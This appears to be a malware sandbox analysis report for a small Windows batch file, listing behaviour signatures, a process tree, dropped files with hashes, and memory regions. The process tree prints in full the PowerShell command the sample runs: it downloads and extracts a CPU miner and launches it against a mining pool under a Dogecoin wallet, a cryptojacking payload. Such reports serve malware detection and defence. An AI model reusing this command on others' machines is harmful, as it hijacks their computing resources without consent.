b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb

Analysis

max time kernel
1794s
max time network
1806s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
04/02/2024, 11:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

73u3Ito.bat
Size

499B
MD5

fe74bff27516829a88cfbc6f6e99646f
SHA1

0c15d859211c79910b277d07e729bec7197a60cd
SHA256

b1f312f139949cac20d0591831ce57c227c6ac77ebd98edfcdafa5c0b02cd2bb
SHA512

a94dbaef073e7b62ff9827887f1da6837103316c5656719b176ba1c2a063066f5f159b8ca783208db629121beea33fb81a94b9e6f4f4ec2612ee923639947a98

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	3656	powershell.exe
4	3656	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3096	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3096	cpuminer-sse2.exe
3096	cpuminer-sse2.exe
3096	cpuminer-sse2.exe
3096	cpuminer-sse2.exe
3096	cpuminer-sse2.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3656	powershell.exe
3656	powershell.exe
3656	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3656	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5004 wrote to memory of 3656	5004	cmd.exe	74
PID 5004 wrote to memory of 3656	5004	cmd.exe	74
PID 3656 wrote to memory of 1572	3656	powershell.exe	75
PID 3656 wrote to memory of 1572	3656	powershell.exe	75
PID 1572 wrote to memory of 3096	1572	cmd.exe	77
PID 1572 wrote to memory of 3096	1572	cmd.exe	77

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\73u3Ito.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri 'https://github.com/JayDDee/cpuminer-opt/releases/download/v23.15/cpuminer-opt-23.15-windows.zip' -OutFile "$env:TEMP\cpuminer.zip"; Expand-Archive -Path "$env:TEMP\cpuminer.zip" -DestinationPath "$env:TEMP\cpuminer"; Set-Location -Path "$env:TEMP\cpuminer"; Start-Process -FilePath 'cmd.exe' -ArgumentList '/k', 'cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3656
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /k cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.na.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 2
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3096

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nolldpg.4r5.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
1.6MB

MD5
68b9ac5ae90127c74273f1cef7595a9e

SHA1
65958596f7fe21ea3e238c100800d787c3d21dbd

SHA256
1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

SHA512
7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
2.5MB

MD5
d556d2f42952feca6ce9564bc4d61d99

SHA1
7f99cd3752d48b157fb7109c480800baf3414d02

SHA256
5a3db482760efa13421e809b94bd5abcb71cfa3728efaf18a4c6aff5c19b33c4

SHA512
49adfe1503b0c512309ec1363e2217777ec5b8b1af3ffe0d90dd1ed2fef79702bd211a98d9b6d6b425f56238127ed47693b76255ced0a65039534a70a6020db1

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
7.8MB

MD5
696c4710b4378a2793776af1bf51deb7

SHA1
6106290e617eabd21de168afac53e07259a98353

SHA256
53cd34b3c8f4e726a57e0f7060c0323c4f334bece8d04e69a7a1d2a52f9ce931

SHA512
fe4e361f7309c11260ab6f11444a5ab92c3f1c0b20ab9fef2e60e0a0af7f976b10c0fabb84888c20dc014717c85ed6b1d918f8b14ed926a691e97fe98f294414

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libstdc++-6.dll

Filesize
5.7MB

MD5
0a3f07b50e7f20838f25d9b5a094194f

SHA1
0b451571bc01f21802d2274ff10d6fc39a087a7d

SHA256
5862dec937571372b81552aa73b178ca947252afd130d072dae3a7daca76c21c

SHA512
5e9bd1165b96bb5910ccdb7aa02942ac8f73cd388ac510cd1f933c276fd482dbdb82fc22b1d2b779b0751f82f2e2581925fdb58ce4cff26114d119b4b16c6810

Download Submit
\Users\Admin\AppData\Local\Temp\cpuminer\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3096-129-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/3096-143-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/3096-185-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-180-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-170-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-165-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-160-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-155-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-145-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-141-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3096-140-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-135-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3096-128-0x00000000505A0000-0x0000000050638000-memory.dmp

Filesize
608KB

Download
memory/3096-127-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3096-126-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3096-125-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3656-28-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-31-0x000001F79AF30000-0x000001F79AF46000-memory.dmp

Filesize
88KB

Download
memory/3656-8-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-9-0x000001F79AA80000-0x000001F79AAA2000-memory.dmp

Filesize
136KB

Download
memory/3656-5-0x000001F79AB10000-0x000001F79ABA2000-memory.dmp

Filesize
584KB

Download
memory/3656-4-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download
memory/3656-10-0x000001F79ADC0000-0x000001F79AECE000-memory.dmp

Filesize
1.1MB

Download
memory/3656-13-0x000001F79AF50000-0x000001F79AFC6000-memory.dmp

Filesize
472KB

Download
memory/3656-7-0x000001F79AA30000-0x000001F79AA40000-memory.dmp

Filesize
64KB

Download
memory/3656-112-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download
memory/3656-6-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-69-0x000001F79AF10000-0x000001F79AF1A000-memory.dmp

Filesize
40KB

Download
memory/3656-56-0x000001F79B0D0000-0x000001F79B0E2000-memory.dmp

Filesize
72KB

Download
memory/3656-36-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-35-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-34-0x000001F79AB00000-0x000001F79AB10000-memory.dmp

Filesize
64KB

Download
memory/3656-33-0x00007FFA7E3B0000-0x00007FFA7ED9C000-memory.dmp

Filesize
9.9MB

Download